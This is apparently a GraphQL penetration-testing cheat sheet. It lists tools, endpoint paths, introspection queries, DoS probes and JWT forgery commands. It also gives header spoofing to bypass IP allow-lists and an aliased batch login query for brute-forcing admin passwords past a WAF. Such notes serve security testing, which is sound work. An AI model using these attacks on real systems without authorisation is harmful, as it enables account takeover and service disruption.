GraphQL hacking

Questions on target

- Which endpoint recives queries?
- What language is GraphQL written in?
- What implementation of GraphQL is running on target server?
- Is the implementation vulnerable to certain attacks?
- What type of defenses does this type of GraphQL have?
- What are default configs for this type of GraphQL
- Does this GraphQL have any additional security protection in place?

Tools

- BatchQL
  - Tests for array based batching and alias-based batching vulnerabilites.
    - https://github.com/assetnote/batchql
- CeWL
  - Tool for scrapping a domain site for keywords to use in wordlists.
    - https://github.com/digininja/CeWL
- Clairvoyance
  - brute forces a GraphQL to determine the schema. when introspection is off or blocked.
    - https://github.com/nikitastupin/clairvoyance
  - Wordlist to use with Clairvoyance on English language GraphQL
    - https://github.com/nicholasaleks/high-frequency-vocabulary
- Debugger to send queries to the API
  - Altair GraphQL Client
    - https://altairgraphql.dev/
- graphinder
  - graphQL endpoint finder
    - https://github.com/Escape-Technologies/graphinder
- GraphQL Cop
  - Tests for GraphQL DoS vulnerabilities and information disclosures in GraphQL apps.
    - https://github.com/dolevf/graphql-cop
- graphql-path-enum
  - https://gitlab.com/dee-see/graphql-path-enum
- GraphQL visualizer
  - https://graphql-kit.com/graphql-voyager/
- InQL
  - GraphQL testing tool
    - https://github.com/doyensec/inql
    - It's also been added as a burpsuite extension
- jwt_tool
  - https://github.com/ticarpi/jwt_tool

Recon phase

- Paths to check for
  - graphql/
  - v1/graphql/
  - v2/graphql/
  - v3/graphql/
  - /api/graphql
  - /api/v1/graphql
  - /api/v2/graphql
  - /api/v3/graphql
  - /graphiql
  - v1/graphiql
  - v2/graphiql
  - v3/graphiql
  - /api/graphiql
  - /api/v1/graphiql
  - /api/v2/graphiql
  - /api/v3/graphiql
  - /playground
  - v1/playground
  - v2/playground
  - v3/playground
  - /api/v1/playground
  - /api/v2/playground
  - /api/v3/playground
  - /console
  - /explorer
- Cheat sheets
  - Languages - GraphQL cheatsheet.
    - TypeScript
      - Apollo
      - Yoga
    - Python
      - Graphene
      - Ariadne
      - Strawberry
      - Tartiflette
    - Ruby
      - Graphql-ruby
    - Go
      - Graphql-go
    - PHP
      - Graphql-php
    - Java
      - Graphql-java
      - HyperGraphQL
    - Scala
      - Sangria
    - Rust
      - Juniper
  - Introspection allowed by default?
    - Enabled by default
      - Python
        - Graphene
          - Unable to disable introspection
        - Ariadne
          - Able to disable introspection
      - PHP
        - Graphql-php
          - Able to disable introspection
      - GO
        - Graphql-go
          - Unable to disable introspection
      - Ruby
        - Graphql-ruby
          - Able to disable introspection
      - Java
        - Graphql-java
          - Unable to disable introspection
- nmap scan to find GraphQL
  - `nmap -p 5013 -sV --script=http-grep --script-args='match="Must provide query string", http-grep.url="/graphql"' IP_HERE`
  - ports to also try
    - 80-89, 443, 4000-4005, 8443, 8000, 8080
- Starter queries
  - Bad request to see behavior

    ```
    query {
      badfield {
        id
      }
    }
    ```

  - Request to get field "hints"

    ```
    query {
      __schema {
      }
    }
    ```

    ```
    query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          kind
          name
          fields {
            name
            args {
              name
            }
          }
        }
      }
    }
    ```

    ```
    query IntrospectionQuery {
      __schema {

        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description

          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
    ```

    - If introspection is enabled, feed the output into GraphQL voyager.

    ```
    query {
      __schema {
        types {
          name
        }
      }
    }
    ```

    ```
    query {
      __typename {
      }
    }
    ```

- Detecting GraphQL
  - Graphw00f
    - `python3 main.py -d -t http://domain.com:PORT`
- Blocked introspection or no schema
  - Use browser to goto /graphiql or whatever/ directory
    - Goto browser dev tools
    - Goto network tab and reload page
      - Look for post request to the /graphiql or whatever/
      - If the post request is blocked "400"
        - Click the dev tools storage tab
        - goto the cookies section and find the domain name cookie
        - Look for a cookie that has "disabled" values
        - Change to enable and refresh page.

DoS testing

- visualizing circular references
  - Copy the introspection schema output from a query sent in altair.
    - Paste the output into GraphQL voyager
      - Observe the schema and look for any arrows pointing backwards and making loops.
        - These queries open the possibility for a DOS
- Test with burp extension InQL
  - Save the introspection schema output in altair to a .json file.
    - In altair click the download button in the bottom right corner.
      - Load the .json file into the extension and analyze
- Safe query to use with found circular requests
  - Replace test1 and test2 with the circular request values in altair.

    ```
    query {
      test1 {
        test2 {
          test1 {
            test2 {
              name
            }
          }
        }
      }
    }
    ```

- Alias and circular querie chain
  - If you spot circular queries like above. Test with this query and the circular values.

    ```
    query {
      q1:pastes {
        owner {
          pastes {
            owner {
              name
            }
          }
        }
      }
      q2:pastes {
        owner {
          pastes {
            owner {
              name
            }
          }
        }
      }
    }
    ```

- Checking for systemUpdate queries

  ```
  query {
    systemUpdate
  }
  ```

  - If disabled then protected
  - If enabled check the time to process the request.

    ```
    query {
      one:systemUpdate
      two:systemUpdate
      three:systemUpdate
      four:systemUpdate
      five:systemUpdate
    }
    ```

    - This query should take even longer and confirm vulnerability to DOS.
- Array-Based Query Batching test
  - Use curl to test if Array Queries are enabled.
    - `curl http://domain.com:PORT/graphql -H "Content-Type: application/json" -d '[{"query {systemHealth}"},{"query {systemHealth}"}]'`
      - If you get 2 responses with data for systemHealth, then it's vulnerable.
      - If you get HTML errors or "Batch not enabled" it's not vulnerable.
  - Tools
    - BatchQL
      - `python3 batch.py - e http://domain.com:PORT/graphql`
    - GraphQL Cop
      - `python3 graphql-cop.py -t http://domain.com:PORT/graphql`
    - Graphw00f
      - `python3 main.py -d -t http://domain.com:PORT`
      - Identify type with graphw00f, then check to see if vulnerable.
        - https://github.com/nicholasaleks/graphql-threat-matrix
        - Click the link for the name/type and see if "batch requests" are enabled.

Information Disclosure

- use InQL to extract the schema
  - Burp
    - Add the URL to the GraphQL endpoint in the text box and click Analyze
  - Command line
    - `inql -t http://domain.com:PORTHERE/graphql --generate-tsv`
      - It will make a directory named after the Domain and put result files inside.
    - Use awk to find queries available
      - `awk '{print $1}' endpoint_query.tsv | tail -n +2`
    - Use awk to see what arguments the queries accept
      - `awk -F'\t' "{print $1, $2}' endpoint_query.tsv`
    - Use the same commands above to view the mutation and subscription files.
- If introspection is turned off.
  - First test if it's truely blocked or off.
  - Use _type to see if root "Query" command is available.

    ```
    {
      __type(name:"Query") {
        name
      }
    }
    ```

    - You should get a response showing "Query"
  - Using GraphQL's "auto correct" or "field suggestion" features.
    - replace "keyword" with other words to get "suggestions or auto correct"

      ```
      query {
        keyword {
          keyword
        }
      }
      ```

- Field stuffing
  - Use a query you've captured in burpsuite
  - Example query

    ```
    query {
      user {
        name
      }
    }
    ```

    - If a successful response, then try guessing common field names by stuffing. Example

      ```
      query {
        user {
          name
            username
            address
            birthday
            age
            password
            sin
            ssn
            apiKey
            token
            emailAddress
            status
        }
      }
      ```

      - Try different naming conventions like api_key, apiKey, ApiKey, email_address, emailAddress, EmailAddress, etc.
      - Also look if Altair gives "suggestions" for you!
    - Try the above with the _type to find field names.

      ```
      {
        __type(name:"PasteObject") {
          name
          fields {
            name
          }
        }
      }
      ```

  - Brute forcing schema with clairvoyance
    - `python3 -m clairvoyance http://domain.com:port/graphql -w ~/high-frequency-vocabulary/30k.txt -o clairvoyance-schema.json`
      - Use the output file in GraphQL voyager to visually browse the GraphQL.
        - https://graphql-kit.com/graphql-voyager/
    - Adding to your wordlist with custom words.
      - Use cewl to generate custom words from the domain.
        - `cewl http://domain.com`
          - Add the output to your wordlist or just use this output with clairvoyance to find additional GraphQL queries.
- Error messages
  - Send an incorrect query to the API
    - The API will possibly respond with a verbose error message. Look for these 4 fields.
      - message
        - This will give a description of the error
      - location
        - This will tell the line and column of the error.
      - path
        - This will detail a certain field. It will determine if it was null or a runtime error.
      - extensions
        - This field is for plugins and implementations. It will include error codes, time stamps, stack traces and rate limit information.
- Enabling debugging
  - Not all GraphQL support debugging.
  - refer back to the GraphQL fingerprint chart.
    - Check API documentation for debug mode
      - One example of a possible debug mode on option.
      - http://example.com/graphql?debug=1
  - Developer mode in the browser
    - Goto the developer mode and then the "console" tab. Look for debug logs related to functionality.

Authentication and Authorization Bypasses

- Common GraphQL Authorization types
  - @auth
    - requires
      - string
  - @protect
    - role
      - string
  - @hasRole
    - role
      - string
- Detecting Schema Directives and Authorizations
  - query

    ```
    query {
        _schema {
          directives {
            name
            args {
              name
            }
          }
        }
    }
    ```

    - look for responses that return @auth, @authorize, @authorization, @authz or similiar.
  - Tool
    - graphql-path-enum
      - `./graphql-path-enum -i introspection.json -t whateverobjecttypeyouwanttotest`
- Testing for authentication

  ```
  query {
    __schema {
      types {
        name
      }
    }
  }
  ```

  ```
  query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        kind
        name
        fields {
          name
          args {
            name
          }
        }
      }
    }
  }
  ```

  ```
  query IntrospectionQuery {
    __schema {

      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name
        description

        locations
        args {
          ...InputValue
        }
      }
    }
  }

  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    }
  }

  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }

  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                }
              }
            }
          }
        }
      }
    }
  }
  ```

  - If introspection is enabled, feed the output into GraphQL voyager.
  - Look for requests requests that give 403 Forbbiden errors. These are auth areas.
  - Auth error messages.
    - Authentication credentials are missing. Authorization header is required and must contain a value.
      - OAuth 2.0 Bearer with JSON Web Token
    - Not Authorised!
      - GraphQL Shield
    - Not logged in.
Auth required
API key is required
      - GraphQL Modules
    - Invalid token!
Invalid role!
      - graphql-directive-auth
  - Look for mutation queries that require logon or account setup
    - Query

      ```
      {
        __schema {
          mutationType {
            name
            kind
            fields {
              name
              description
            }
          }
        }
      }
      ```

    - Mutation names to look for
      - me
      - login
      - logout
      - signup
      - register
      - createUser
      - createAccount
- Testing JsonWebTokens (jwt)
  - copy and paste the jwt into jwt.io
    - Test setting the alg: Algorithm header to "none"
  - Tool
    - jwt_tool
      - `jwt_tool PASTE_JWT_TOKEN_HERE`
        - Displays info about token
      - `jwt_tool -t http://PATH_TO_AUTH_ONLY_DIRECTORY -rh "Authorization: Bearer PASTE_TOKEN_HERE" -M pb`
        - Performs all tests on token
      - `jwt_tool  PASTE_TOKEN_HERE -X ATTACK_FLAG`
        - Performs exploits on tokens and generates new tokens to try.
          - flags
            - a = alg:none
            - n = null signature
            - b = blank password accepted in signature
            - s = spoof JWKS
            - k = key confusion (specify public key with -pk)
            - i = inject inline JWKS
      - Brute force signature keys
        - ① crunch
          - `crunch min# max# -o password.txt`
          - ex `crunch 5 10 -o password.txt`
        - ② jwt_tool
          - `jwt_tool PASTE_TOKEN -C -d password.txt`
        - ③ If JWT signature key is found
          - Put the key into the signature and change the email address in the header to another valid account.
            - use jwt.io then copy n paste the new token back to the API.
- IP based allow lists
  - burpsuite
    - add headers to requests for bypasses
      - X-Forwarded-For:
        - set to 10.0.0.1, localhost, 192.168.0.1, etc
      - X-Real-IP:
        - set to 10.0.0.1, localhost, 192.168.0.1, etc
      - X-Originating-IP:
        - set to 10.0.0.1, localhost, 192.168.0.1, etc
      - X-Host:
        - set to 10.0.0.1, localhost, 192.168.0.1, etc
    - Bypass WAF plugin
      - This will add all headers and internal IP's to requests to spoof an allowed IP.
- Allowed operation names
  - Look for operation names for unauth tasks like logon, account setup, etc
  - example

    ```
    mutation RegisterAccount {
          register(username:  "operator", password:  "password"){
              user_id
          }
    }
    ```

    - Next try making mutation requests with the "RegisterAccount" operation and see if it can make other unauth requests.
- Password Brute forcing
  - Batch query to bypass WAF restrictions

    ```
    mutation {
       alias1: login(username: "admin", password: "admin") {
         accessToken
       }
       alias2: login(username: "admin", password: "password") {
         accessToken
       }
       alias3: login(username: "admin", password: "pass") {
         accessToken
       }
       alias4: login(username: "admin", password: "pass123") {
         accessToken
       }
       alias5: login(username: "admin", password: "password123") {
         accessToken
       }
       alias6: login(username: "operator", password: "operator") {
         accessToken
       }
       alias7: login(username: "operator", password: "password") {
         accessToken
       }
       alias8: login(username: "operator", password: "pass") {
         accessToken
       }
       alias9: login(username: "operator", password: "pass123"){
         accessToken
       }
       alias10: login(username: "operator", password:
    "password123"){
         accessToken
       }
    }
    ```

  - Tool
    - CrackQL
      - `python3 CrackQL.py -t http://URL_HERE/graphql -q sample-queries/logon.graphql -i sample-inputs/usernames_and_passwords.csv --verbose`
      - use the -b option to do batching like the query above.
      - If auth Headers or cookies are needed for other attacks. Edit the config.py file.

Injection

Presented with xmind